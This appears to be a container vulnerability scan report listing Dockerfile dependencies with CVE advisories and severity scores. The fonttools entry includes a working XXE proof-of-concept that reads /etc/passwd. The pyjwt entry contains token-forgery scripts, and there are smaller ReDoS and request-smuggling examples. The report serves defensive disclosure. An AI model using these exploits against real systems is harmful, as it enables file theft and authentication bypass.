(3.18.3, 3.19.5, 3.20.2, 3.21.6) protobuf-python (3.18.3, 3.19.5, 3.20.2, 4.21.6) Affected range <3.15.0 Fixed version 3.15.0 EPSS Score 0.150% EPSS Percentile 36th percentile Description Nullptr dereference when a null char is present in a proto symbol. The symbol is parsed incorrectly, leading to an unchecked call into the proto file's name during generation of the resulting error message. Since the symbol is incorrectly parsed, the file is nullptr. We recommend upgrading to version 3.15.0 or greater.

rexml 3.2.5 (gem) pkg:gem/[email protected] # Dockerfile (75:77) RUN --mount=type=cache,target=/var/cache/apt,sharing=locked,id=cache-apt-$TARGETARCH-$TARGETVARIANT \ --mount=type=cache,target=/var/lib/apt,sharing=locked,id=lib-apt-$TARGETARCH-$TARGETVARIANT \ apt-get update && apt --no-install-recommends install -y gz-harmonic Improper Restriction of Recursive Entity References in DTDs ('XML Entity Expansion') Affected range <3.3.6 Fixed version 3.3.6 CVSS Score 8.2 CVSS Vector CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N EPSS Score 2.882% EPSS Percentile 86th percentile Description Impact The REXML gem before 3.3.6 has a DoS vulnerability when it parses an XML that has many deep elements that have same local name attributes. If you need to parse untrusted XMLs with tree parser API like REXML::Document.new, you may be impacted to this vulnerability. If you use other parser APIs such as stream parser API and SAX2 parser API, this vulnerability is not affected. Patches The REXML gem 3.3.6 or later include the patch to fix the vulnerability. Workarounds Don't parse untrusted XMLs with tree parser API. References https://www.ruby-lang.org/en/news/2024/08/22/dos-rexml-cve-2024-43398/ : An announce on www.ruby-lang.org Uncontrolled Resource Consumption Affected range <3.3.3 Fixed version 3.3.3 CVSS Score 6.9 CVSS Vector CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N EPSS Score 0.752% EPSS Percentile 72nd percentile Description Impact The REXML gem before 3.3.2 has a DoS vulnerability when it parses an XML that has many entity expansions with SAX2 or pull parser API. If you need to parse untrusted XMLs with SAX2 or pull parser API, you may be impacted to this vulnerability. Patches The REXML gem 3.3.3 or later include the patch to fix the vulnerability. Workarounds Don't parse untrusted XMLs with SAX2 or pull parser API. References https://www.ruby-lang.org/en/news/2008/08/23/dos-vulnerability-in-rexml/ : This is a similar vulnerability https://www.ruby-lang.org/en/news/2024/08/01/dos-rexml-cve-2024-41946/: An announce on www.ruby-lang.org Uncontrolled Resource Consumption Affected range <3.3.3 Fixed version 3.3.3 CVSS Score 6.9 CVSS Vector CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N EPSS Score 0.265% EPSS Percentile 50th percentile Description Impact The REXML gem before 3.3.2 has some DoS vulnerabilities when it parses an XML that has many specific characters such as whitespace character, >] and ]>. If you need to parse untrusted XMLs, you may be impacted to these vulnerabilities. Patches The REXML gem 3.3.3 or later include the patches to fix these vulnerabilities. Workarounds Don't parse untrusted XMLs. References GHSA-vg3r-rm7w-2xgh : This is a similar vulnerability GHSA-4xqq-m2hx-25v8 : This is a similar vulnerability https://www.ruby-lang.org/en/news/2024/08/01/dos-rexml-cve-2024-41123/: An announce on www.ruby-lang.org Uncontrolled Resource Consumption Affected range <3.3.2 Fixed version 3.3.2 CVSS Score 6.9 CVSS Vector CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N EPSS Score 6.315% EPSS Percentile 90th percentile Description Impact The REXML gem before 3.3.1 has some DoS vulnerabilities when it parses an XML that has many specific characters such as <, 0 and %>. If you need to parse untrusted XMLs, you may be impacted to these vulnerabilities. Patches The REXML gem 3.3.2 or later include the patches to fix these vulnerabilities. Workarounds Don't parse untrusted XMLs. References GHSA-vg3r-rm7w-2xgh : This is a similar vulnerability https://www.ruby-lang.org/en/news/2024/07/16/dos-rexml-cve-2024-39908/ Inefficient Regular Expression Complexity Affected range <3.3.9 Fixed version 3.3.9 CVSS Score 6.6 CVSS Vector CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:U EPSS Score 1.153% EPSS Percentile 78th percentile Description Impact The REXML gem before 3.3.9 has a ReDoS vulnerability when it parses an XML that has many digits between &# and x...; in a hex numeric character reference (&#x...;). This does not happen with Ruby 3.2 or later. Ruby 3.1 is the only affected maintained Ruby. Note that Ruby 3.1 will reach EOL on 2025-03. Patches The REXML gem 3.3.9 or later include the patch to fix the vulnerability. Workarounds Use Ruby 3.2 or later instead of Ruby 3.1. References https://www.ruby-lang.org/en/news/2024/10/28/redos-rexml-cve-2024-49761/: An announce on www.ruby-lang.org Uncontrolled Resource Consumption Affected range <3.2.7 Fixed version 3.2.7 CVSS Score 5.3 CVSS Vector CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L EPSS Score 5.903% EPSS Percentile 90th percentile Description Impact The REXML gem before 3.2.6 has a DoS vulnerability when it parses an XML that has many >s in an attribute value. If you need to parse untrusted XMLs, you may be impacted to this vulnerability. Patches The REXML gem 3.2.7 or later include the patch to fix this vulnerability. Workarounds Don't parse untrusted XMLs. References https://www.ruby-lang.org/en/news/2024/05/16/dos-rexml-cve-2024-35176/

uri 0.10.1 (gem) pkg:gem/[email protected] # Dockerfile (75:77) RUN --mount=type=cache,target=/var/cache/apt,sharing=locked,id=cache-apt-$TARGETARCH-$TARGETVARIANT \ --mount=type=cache,target=/var/lib/apt,sharing=locked,id=lib-apt-$TARGETARCH-$TARGETVARIANT \ apt-get update && apt --no-install-recommends install -y gz-harmonic Inefficient Regular Expression Complexity Affected range =0.10.1 Fixed version 0.10.2 CVSS Score 7.5 CVSS Vector CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H EPSS Score 0.452% EPSS Percentile 63rd percentile Description A ReDoS issue was discovered in the URI component through 0.12.0 in Ruby through 3.2.1. The URI parser mishandles invalid URLs that have specific characters. It causes an increase in execution time for parsing strings to URI objects. The fixed versions are 0.12.1, 0.11.1, 0.10.2 and 0.10.0.1. Inefficient Regular Expression Complexity Affected range >=0.10.1 <0.10.3 Fixed version 0.10.3 CVSS Score 5.3 CVSS Vector CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L EPSS Score 1.202% EPSS Percentile 78th percentile Description A ReDoS issue was discovered in the URI component before 0.12.2 for Ruby. The URI parser mishandles invalid URLs that have specific characters. There is an increase in execution time for parsing strings to URI objects with rfc2396_parser.rb and rfc3986_parser.rb. NOTE: this issue exists becuse of an incomplete fix for CVE-2023-28755. Version 0.10.3 is also a fixed version. The Ruby advisory recommends updating the uri gem to 0.12.2. In order to ensure compatibility with the bundled version in older Ruby series, you may update as follows instead: For Ruby 3.0: Update to uri 0.10.3 For Ruby 3.1 and 3.2: Update to uri 0.12.2. You can use gem update uri to update it. If you are using bundler, please add gem uri, >= 0.12.2 (or other version mentioned above) to your Gemfile. Exposure of Sensitive Information to an Unauthorized Actor Affected range <0.11.3 Fixed version 0.11.3 CVSS Score 2.1 CVSS Vector CVSS:4.0/AV:L/AC:L/AT:P/PR:N/UI:N/VC:N/VI:N/VA:N/SC:L/SI:N/SA:N EPSS Score 0.018% EPSS Percentile 3rd percentile Description There is a possibility for userinfo leakage by in the uri gem. This vulnerability has been assigned the CVE identifier CVE-2025-27221. We recommend upgrading the uri gem. Details The methods URI#join, URI#merge, and URI#+ retained userinfo, such as user:password, even after the host is replaced. When generating a URL to a malicious host from a URL containing secret userinfo using these methods, and having someone access that URL, an unintended userinfo leak could occur. Please update URI gem to version 0.11.3, 0.12.4, 0.13.2, 1.0.3 or later. Affected versions uri gem versions < 0.11.3, 0.12.0 to 0.12.3, 0.13.0, 0.13.1 and 1.0.0 to 1.0.2. Credits Thanks to Tsubasa Irisawa (lambdasawa) for discovering this issue. Also thanks to nobu for additional fixes of this vulnerability.

webrick 1.7.0 (gem) pkg:gem/[email protected] # Dockerfile (75:77) RUN --mount=type=cache,target=/var/cache/apt,sharing=locked,id=cache-apt-$TARGETARCH-$TARGETVARIANT \ --mount=type=cache,target=/var/lib/apt,sharing=locked,id=lib-apt-$TARGETARCH-$TARGETVARIANT \ apt-get update && apt --no-install-recommends install -y gz-harmonic Inconsistent Interpretation of HTTP Requests ('HTTP Request/Response Smuggling') Affected range <=1.8.1 Fixed version 1.8.2 CVSS Score 7.5 CVSS Vector CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N EPSS Score 0.119% EPSS Percentile 32nd percentile Description An issue was discovered in the WEBrick toolkit through 1.8.1 for Ruby. It allows HTTP request smuggling by providing both a Content-Length header and a Transfer-Encoding header, e.g., "GET /admin HTTP/1.1\r\n" inside of a "POST /user HTTP/1.1\r\n" request. NOTE: the supplier's position is "Webrick should not be used in production." Inconsistent Interpretation of HTTP Requests ('HTTP Request/Response Smuggling') Affected range <1.8.2 Fixed version 1.8.2 CVSS Score 6.5 CVSS Vector CVSS:3.0/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:H/A:N EPSS Score 0.059% EPSS Percentile 18th percentile Description Ruby WEBrick read_header HTTP Request Smuggling Vulnerability. This vulnerability allows remote attackers to smuggle arbitrary HTTP requests on affected installations of Ruby WEBrick. This issue is exploitable when the product is deployed behind an HTTP proxy that fulfills specific conditions. The specific flaw exists within the read_headers method. The issue results from the inconsistent parsing of terminators of HTTP headers. An attacker can leverage this vulnerability to smuggle arbitrary HTTP requests. Was ZDI-CAN-21876.

mpmath 0.0.0 (pypi) pkg:pypi/[email protected] # Dockerfile (57:59) RUN --mount=type=cache,target=/var/cache/apt,sharing=locked,id=cache-apt-$TARGETARCH-$TARGETVARIANT \ --mount=type=cache,target=/var/lib/apt,sharing=locked,id=lib-apt-$TARGETARCH-$TARGETVARIANT \ apt-get update && apt --no-install-recommends install -y ros-humble-desktop ros-dev-tools Allocation of Resources Without Limits or Throttling Affected range <1.3.0 Fixed version 1.3.0 CVSS Score 8.7 CVSS Vector CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N EPSS Score 2.352% EPSS Percentile 84th percentile Description A Regular Expression Denial of Service (ReDOS) vulnerability was discovered in Mpmath v1.0.0 when the mpmathify function is called.

date 3.1.0 (gem) pkg:gem/[email protected] # Dockerfile (75:77) RUN --mount=type=cache,target=/var/cache/apt,sharing=locked,id=cache-apt-$TARGETARCH-$TARGETVARIANT \ --mount=type=cache,target=/var/lib/apt,sharing=locked,id=lib-apt-$TARGETARCH-$TARGETVARIANT \ apt-get update && apt --no-install-recommends install -y gz-harmonic Inefficient Regular Expression Complexity Affected range >=3.1.0 <3.1.2 Fixed version 3.1.2 CVSS Score 7.5 CVSS Vector CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H EPSS Score 0.538% EPSS Percentile 67th percentile Description Date’s parsing methods including Date.parse are using Regexps internally, some of which are vulnerable against regular expression denial of service. Applications and libraries that apply such methods to untrusted input may be affected. The fix limits the input length up to 128 bytes by default instead of changing the regexps. This is because Date gem uses many Regexps and it is possible that there are still undiscovered vulnerable Regexps. For compatibility, it is allowed to remove the limitation by explicitly passing limit keywords as nil like Date.parse(str, limit: nil), but note that it may take a long time to parse. Please update the date gem to version 3.2.1, 3.1.2, 3.0.2, and 2.0.1, or later. You can use gem update date to update it. If you are using bundler, please add gem "date", ">= 3.2.1" to your Gemfile. If you import date from the standard library rather than as a gem you should update your Ruby install to 3.0.3, 2.7.5, 2.6.9 or later. Users unable to upgrade may consider using Date.strptime instead with a predefined date format Date.strptime('2001-02-20', '%Y-%m-%d')

babel 2.8.0 (pypi) pkg:pypi/[email protected] # Dockerfile (108:108) RUN Tools/environment_install/install-prereqs-ubuntu.sh -y Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal') Affected range <2.9.1 Fixed version 2.9.1 CVSS Score 8.7 CVSS Vector CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N EPSS Score 0.130% EPSS Percentile 33rd percentile Description Babel.Locale in Babel before 2.9.1 allows attackers to load arbitrary locale .dat files (containing serialized Python objects) via directory traversal, leading to code execution.

time 0.1.0 (gem) pkg:gem/[email protected] # Dockerfile (75:77) RUN --mount=type=cache,target=/var/cache/apt,sharing=locked,id=cache-apt-$TARGETARCH-$TARGETVARIANT \ --mount=type=cache,target=/var/lib/apt,sharing=locked,id=lib-apt-$TARGETARCH-$TARGETVARIANT \ apt-get update && apt --no-install-recommends install -y gz-harmonic Inefficient Regular Expression Complexity Affected range <0.1.1 Fixed version 0.1.1 CVSS Score 7.5 CVSS Vector CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H EPSS Score 0.871% EPSS Percentile 74th percentile Description A ReDoS issue was discovered in the Time component through 0.2.1 in Ruby through 3.2.1. The Time parser mishandles invalid URLs that have specific characters. It causes an increase in execution time for parsing strings to Time objects. The fixed versions are 0.1.1 and 0.2.2.

wheel 0.37.1 (pypi) pkg:pypi/[email protected] # Dockerfile (108:108) RUN Tools/environment_install/install-prereqs-ubuntu.sh -y Inefficient Regular Expression Complexity Affected range <0.38.1 Fixed version 0.38.1 CVSS Score 7.5 CVSS Vector CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H EPSS Score 0.196% EPSS Percentile 42nd percentile Description Python Packaging Authority (PyPA) Wheel is a reference implementation of the Python wheel packaging standard. Wheel 0.37.1 and earlier are vulnerable to a Regular Expression denial of service via attacker controlled input to the wheel cli. The vulnerable regex is used to verify the validity of Wheel file names. This has been patched in version 0.38.1.

fonttools 4.29.1 (pypi) pkg:pypi/[email protected] # Dockerfile (57:59) RUN --mount=type=cache,target=/var/cache/apt,sharing=locked,id=cache-apt-$TARGETARCH-$TARGETVARIANT \ --mount=type=cache,target=/var/lib/apt,sharing=locked,id=lib-apt-$TARGETARCH-$TARGETVARIANT \ apt-get update && apt --no-install-recommends install -y ros-humble-desktop ros-dev-tools Improper Restriction of XML External Entity Reference Affected range >=4.28.2 <4.43.0 Fixed version 4.43.0 CVSS Score 7.5 CVSS Vector CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N EPSS Score 0.131% EPSS Percentile 33rd percentile Description Summary As of fonttools>=4.28.2 the subsetting module has a XML External Entity Injection (XXE) vulnerability which allows an attacker to resolve arbitrary entities when a candidate font (OT-SVG fonts), which contains a SVG table, is parsed. This allows attackers to include arbitrary files from the filesystem fontTools is running on or make web requests from the host system. PoC The vulnerability can be reproduced following the bellow steps on a unix based system. Build a OT-SVG font which includes a external entity in the SVG table which resolves a local file. In our testing we utilised /etc/passwd for our POC file to include and modified an existing subset integration test to build the POC font - see bellow. from string import ascii_letters from fontTools.fontBuilder import FontBuilder from fontTools.pens.ttGlyphPen import TTGlyphPen from fontTools.ttLib import newTable XXE_SVG = """\ <?xml version="1.0"?> <!DOCTYPE svg [<!ENTITY test SYSTEM 'file:///etc/passwd'>]> <svg xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink"> <g id="glyph1"> <text font-size="10" x="0" y="10">&test;</text> </g> </svg> """ def main(): # generate a random TTF font with an SVG table glyph_order = [".notdef"] + list(ascii_letters) pen = TTGlyphPen(glyphSet=None) pen.moveTo((0, 0)) pen.lineTo((0, 500)) pen.lineTo((500, 500)) pen.lineTo((500, 0)) pen.closePath() glyph = pen.glyph() glyphs = {g: glyph for g in glyph_order} fb = FontBuilder(unitsPerEm=1024, isTTF=True) fb.setupGlyphOrder(glyph_order) fb.setupCharacterMap({ord(c): c for c in ascii_letters}) fb.setupGlyf(glyphs) fb.setupHorizontalMetrics({g: (500, 0) for g in glyph_order}) fb.setupHorizontalHeader() fb.setupOS2() fb.setupPost() fb.setupNameTable({"familyName": "TestSVG", "styleName": "Regular"}) svg_table = newTable("SVG ") svg_table.docList = [ (XXE_SVG, 1, 12) ] fb.font["SVG "] = svg_table fb.font.save('poc-payload.ttf') if __name__ == '__main__': main() Subset the font with an affected version of fontTools - we tested on fonttools==4.42.1 and fonttools==4.28.2 - using the following flags (which just ensure the malicious glyph is mapped by the font and not discard in the subsetting process): pyftsubset poc-payload.ttf --output-file="poc-payload.subset.ttf" --unicodes="*" --ignore-missing-glyphs Read the parsed SVG table in the subsetted font: ttx -t SVG poc-payload.subset.ttf && cat poc-payload.subset.ttx Observed the included contents of the /etc/passwd file. Impact Note the final severity is dependant on the environment fontTools is running in. The vulnerability has the most impact on consumers of fontTools who leverage the subsetting utility to subset untrusted OT-SVG fonts where the vulnerability may be exploited to read arbitrary files from the filesystem of the host fonttools is running on Possible Mitigations There may be other ways to mitigate the issue, but some suggestions: Set the resolve_entities=False flag on parsing methods Consider further methods of disallowing doctype declarations Consider recursive regex matching

pyjwt 2.3.0 (pypi) pkg:pypi/[email protected] # Dockerfile (41:43) RUN --mount=type=cache,target=/var/cache/apt,sharing=locked,id=cache-apt-$TARGETARCH-$TARGETVARIANT \ --mount=type=cache,target=/var/lib/apt,sharing=locked,id=lib-apt-$TARGETARCH-$TARGETVARIANT \ apt-get update && apt --no-install-recommends install -y curl Use of a Broken or Risky Cryptographic Algorithm Affected range >=1.5.0 <2.4.0 Fixed version 2.4.0 CVSS Score 7.4 CVSS Vector CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N EPSS Score 0.400% EPSS Percentile 60th percentile Description Impact What kind of vulnerability is it? Who is impacted? Disclosed by Aapo Oksman (Senior Security Specialist, Nixu Corporation). PyJWT supports multiple different JWT signing algorithms. With JWT, an attacker submitting the JWT token can choose the used signing algorithm. The PyJWT library requires that the application chooses what algorithms are supported. The application can specify "jwt.algorithms.get_default_algorithms()" to get support for all algorithms. They can also specify a single one of them (which is the usual use case if calling jwt.decode directly. However, if calling jwt.decode in a helper function, all algorithms might be enabled.) For example, if the user chooses "none" algorithm and the JWT checker supports that, there will be no signature checking. This is a common security issue with some JWT implementations. PyJWT combats this by requiring that the if the "none" algorithm is used, the key has to be empty. As the key is given by the application running the checker, attacker cannot force "none" cipher to be used. Similarly with HMAC (symmetric) algorithm, PyJWT checks that the key is not a public key meant for asymmetric algorithm i.e. HMAC cannot be used if the key begins with "ssh-rsa". If HMAC is used with a public key, the attacker can just use the publicly known public key to sign the token and the checker would use the same key to verify. From PyJWT 2.0.0 onwards, PyJWT supports ed25519 asymmetric algorithm. With ed25519, PyJWT supports public keys that start with "ssh-", for example "ssh-ed25519". import jwt from cryptography.hazmat.primitives import serialization from cryptography.hazmat.primitives.asymmetric import ed25519 # Generate ed25519 private key private_key = ed25519.Ed25519PrivateKey.generate() # Get private key bytes as they would be stored in a file priv_key_bytes = private_key.private_bytes(encoding=serialization.Encoding.PEM,format=serialization.PrivateFormat.PKCS8, encryption_algorithm=serialization.NoEncryption()) # Get public key bytes as they would be stored in a file pub_key_bytes = private_key.public_key().public_bytes(encoding=serialization.Encoding.OpenSSH,format=serialization.PublicFormat.OpenSSH) # Making a good jwt token that should work by signing it with the private key encoded_good = jwt.encode({"test": 1234}, priv_key_bytes, algorithm="EdDSA") # Using HMAC with the public key to trick the receiver to think that the public key is a HMAC secret encoded_bad = jwt.encode({"test": 1234}, pub_key_bytes, algorithm="HS256") # Both of the jwt tokens are validated as valid decoded_good = jwt.decode(encoded_good, pub_key_bytes, algorithms=jwt.algorithms.get_default_algorithms()) decoded_bad = jwt.decode(encoded_bad, pub_key_bytes, algorithms=jwt.algorithms.get_default_algorithms()) if decoded_good == decoded_bad:     print("POC Successfull") # Of course the receiver should specify ed25519 algorithm to be used if they specify ed25519 public key. However, if other algorithms are used, the POC does not work # HMAC specifies illegal strings for the HMAC secret in jwt/algorithms.py # #        invalid_strings = [ #            b"-----BEGIN PUBLIC KEY-----", #            b"-----BEGIN CERTIFICATE-----", #            b"-----BEGIN RSA PUBLIC KEY-----", #            b"ssh-rsa", #        ] # # However, OKPAlgorithm (ed25519) accepts the following in jwt/algorithms.py: # #                if "-----BEGIN PUBLIC" in str_key: #                    return load_pem_public_key(key) #                if "-----BEGIN PRIVATE" in str_key: #                    return load_pem_private_key(key, password=None) #                if str_key[0:4] == "ssh-": #                    return load_ssh_public_key(key) # # These should most likely made to match each other to prevent this behavior import jwt #openssl ecparam -genkey -name prime256v1 -noout -out ec256-key-priv.pem #openssl ec -in ec256-key-priv.pem -pubout > ec256-key-pub.pem #ssh-keygen -y -f ec256-key-priv.pem > ec256-key-ssh.pub priv_key_bytes = b"""-----BEGIN EC PRIVATE KEY----- MHcCAQEEIOWc7RbaNswMtNtc+n6WZDlUblMr2FBPo79fcGXsJlGQoAoGCCqGSM49 AwEHoUQDQgAElcy2RSSSgn2RA/xCGko79N+7FwoLZr3Z0ij/ENjow2XpUDwwKEKk Ak3TDXC9U8nipMlGcY7sDpXp2XyhHEM+Rw== -----END EC PRIVATE KEY-----""" pub_key_bytes = b"""-----BEGIN PUBLIC KEY----- MFkwEwYHKoZIzj0CAQYIKoZIzj0DAQcDQgAElcy2RSSSgn2RA/xCGko79N+7FwoL Zr3Z0ij/ENjow2XpUDwwKEKkAk3TDXC9U8nipMlGcY7sDpXp2XyhHEM+Rw== -----END PUBLIC KEY-----""" ssh_key_bytes = b"""ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBJXMtkUkkoJ9kQP8QhpKO/TfuxcKC2a92dIo/xDY6MNl6VA8MChCpAJN0w1wvVPJ4qTJRnGO7A6V6dl8oRxDPkc=""" # Making a good jwt token that should work by signing it with the private key encoded_good = jwt.encode({"test": 1234}, priv_key_bytes, algorithm="ES256") # Using HMAC with the ssh public key to trick the receiver to think that the public key is a HMAC secret encoded_bad = jwt.encode({"test": 1234}, ssh_key_bytes, algorithm="HS256") # Both of the jwt tokens are validated as valid decoded_good = jwt.decode(encoded_good, ssh_key_bytes, algorithms=jwt.algorithms.get_default_algorithms()) decoded_bad = jwt.decode(encoded_bad, ssh_key_bytes, algorithms=jwt.algorithms.get_default_algorithms()) if decoded_good == decoded_bad: print("POC Successfull") else: print("POC Failed") The issue is not that big as algorithms=jwt.algorithms.get_default_algorithms() has to be used. However, with quick googling, this seems to be used in some cases at least in some minor projects. Patches Users should upgrade to v2.4.0. Workarounds Always be explicit with the algorithms that are accepted and expected when decoding. References Are there any links users can visit to find out more? For more information If you have any questions or comments about this advisory: Open an issue in https://github.com/jpadilla/pyjwt Email José Padilla: pyjwt at jpadilla dot com

jinja2 3.0.3 (pypi) pkg:pypi/[email protected] # Dockerfile (108:108) RUN Tools/environment_install/install-prereqs-ubuntu.sh -y Improper Neutralization of Special Elements Used in a Template Engine Affected range <=3.1.5 Fixed version 3.1.6 CVSS Score 5.4 CVSS Vector CVSS:4.0/AV:L/AC:L/AT:P/PR:L/UI:P/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N EPSS Score 0.115% EPSS Percentile 31st percentile Description An oversight in how the Jinja sandboxed environment interacts with the |attr filter allows an attacker that controls the content of a template to execute arbitrary Python code. To exploit the vulnerability, an attacker needs to control the content of a template. Whether that is the case depends on the type of application using Jinja. This vulnerability impacts users of applications which execute untrusted templates. Jinja's sandbox does catch calls to str.format and ensures they don't escape the sandbox. However, it's possible to use the |attr filter to get a reference to a string's plain format method, bypassing the sandbox. After the fix, the |attr filter no longer bypasses the environment's attribute lookup. Protection Mechanism Failure Affected range <=3.1.4 Fixed version 3.1.5 CVSS Score 5.4 CVSS Vector CVSS:4.0/AV:L/AC:L/AT:P/PR:L/UI:P/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N EPSS Score 0.091% EPSS Percentile 27th percentile Description An oversight in how the Jinja sandboxed environment detects calls to str.format allows an attacker that controls the content of a template to execute arbitrary Python code. To exploit the vulnerability, an attacker needs to control the content of a template. Whether that is the case depends on the type of application using Jinja. This vulnerability impacts users of applications which execute untrusted templates. Jinja's sandbox does catch calls to str.format and ensures they don't escape the sandbox. However, it's possible to store a reference to a malicious string's format method, then pass that to a filter that calls it. No such filters are built-in to Jinja, but could be present through custom filters in an application. After the fix, such indirect calls are also handled by the sandbox. Improper Neutralization of Escape, Meta, or Control Sequences Affected range >=3.0.0 <=3.1.4 Fixed version 3.1.5 CVSS Score 5.4 CVSS Vector CVSS:4.0/AV:L/AC:L/AT:P/PR:L/UI:P/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N EPSS Score 0.025% EPSS Percentile 5th percentile Description A bug in the Jinja compiler allows an attacker that controls both the content and filename of a template to execute arbitrary Python code, regardless of if Jinja's sandbox is used. To exploit the vulnerability, an attacker needs to control both the filename and the contents of a template. Whether that is the case depends on the type of application using Jinja. This vulnerability impacts users of applications which execute untrusted templates where the template author can also choose the template filename. Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') Affected range <3.1.4 Fixed version 3.1.4 CVSS Score 5.4 CVSS Vector CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:L/A:N EPSS Score 0.576% EPSS Percentile 68th percentile Description The xmlattr filter in affected versions of Jinja accepts keys containing non-attribute characters. XML/HTML attributes cannot contain spaces, /, >, or =, as each would then be interpreted as starting a separate attribute. If an application accepts keys (as opposed to only values) as user input, and renders these in pages that other users see as well, an attacker could use this to inject other attributes and perform XSS. The fix for the previous GHSA-h5c8-rqwp-cp95 CVE-2024-22195 only addressed spaces but not other characters. Accepting keys as user input is now explicitly considered an unintended use case of the xmlattr filter, and code that does so without otherwise validating the input should be flagged as insecure, regardless of Jinja version. Accepting values as user input continues to be safe. Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') Affected range <3.1.3 Fixed version 3.1.3 CVSS Score 5.4 CVSS Vector CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:L/A:N EPSS Score 0.093% EPSS Percentile 27th percentile Description The xmlattr filter in affected versions of Jinja accepts keys containing spaces. XML/HTML attributes cannot contain spaces, as each would then be interpreted as a separate attribute. If an application accepts keys (as opposed to only values) as user input, and renders these in pages that other users see as well, an attacker could use this to inject other attributes and perform XSS. Note that accepting keys as user input is not common or a particularly intended use case of the xmlattr filter, and an application doing so should already be verifying what keys are provided regardless of this fix.

scipy 1.8.0 (pypi) pkg:pypi/[email protected] # Dockerfile (57:59) RUN --mount=type=cache,target=/var/cache/apt,sharing=locked,id=cache-apt-$TARGETARCH-$TARGETVARIANT \ --mount=type=cache,target=/var/lib/apt,sharing=locked,id=lib-apt-$TARGETARCH-$TARGETVARIANT \ apt-get update && apt --no-install-recommends install -y ros-humble-desktop ros-dev-tools Affected range <1.10.0 Fixed version 1.10.0 EPSS Score 0.160% EPSS Percentile 38th percentile Description A refcounting issue which leads to potential memory leak was discovered in scipy commit 8627df31ab in Py_FindObjects() function.

oauthlib 3.2.0 (pypi) pkg:pypi/[email protected] # Dockerfile (41:43) RUN --mount=type=cache,target=/var/cache/apt,sharing=locked,id=cache-apt-$TARGETARCH-$TARGETVARIANT \ --mount=type=cache,target=/var/lib/apt,sharing=locked,id=lib-apt-$TARGETARCH-$TARGETVARIANT \ apt-get update && apt --no-install-recommends install -y curl Improper Input Validation Affected range >=3.1.1 <3.2.2 Fixed version 3.2.2 CVSS Score 6.9 CVSS Vector CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:P/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N EPSS Score 0.380% EPSS Percentile 59th percentile Description Impact Attacker providing malicious redirect uri can cause DoS to oauthlib's web application. Attacker can also leverage usage of uri_validate functions depending where it is used. What kind of vulnerability is it? Who is impacted? Oauthlib applications using OAuth2.0 provider support or use directly uri_validate function. Patches Has the problem been patched? What versions should users upgrade to? Issue fixed in 3.2.2 release. Workarounds Is there a way for users to fix or remediate the vulnerability without upgrading? The redirect_uri can be verified in web toolkit (i.e bottle-oauthlib, django-oauth-toolkit, ...) before oauthlib is called. A sample check if : is present to reject the request can prevent the DoS, assuming no port or IPv6 is fundamentally required. References Attack Vector: Attacker providing malicious redirect uri: https://github.com/oauthlib/oauthlib/blob/d4bafd9f1d0eba3766e933b1ac598cbbf37b8914/oauthlib/oauth2/rfc6749/grant_types/base.py#L232 Vulnerable uri_validate functions: https://github.com/oauthlib/oauthlib/blob/2b8a44855a51ad5a5b0c348a08c2564a2e197ea2/oauthlib/uri_validate.py PoC is_absolute_uri("http://[:::::::::::::::::::::::::::::::::::::::]/path") Acknowledgement Special thanks to Sebastian Chnelik - PyUp.io

pip 22.0.2 (pypi) pkg:pypi/[email protected] # Dockerfile (108:108) RUN Tools/environment_install/install-prereqs-ubuntu.sh -y Improper Neutralization of Special Elements used in a Command ('Command Injection') Affected range <23.3 Fixed version 23.3 CVSS Score 6.8 CVSS Vector CVSS:4.0/AV:L/AC:L/AT:N/PR:L/UI:N/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N EPSS Score 0.044% EPSS Percentile 13th percentile Description When installing a package from a Mercurial VCS URL, e.g. pip install hg+..., with pip prior to v23.3, the specified Mercurial revision could be used to inject arbitrary configuration options to the hg clone call (e.g. --config). Controlling the Mercurial configuration can modify how and which repository is installed. This vulnerability does not affect users who aren't installing from Mercurial.

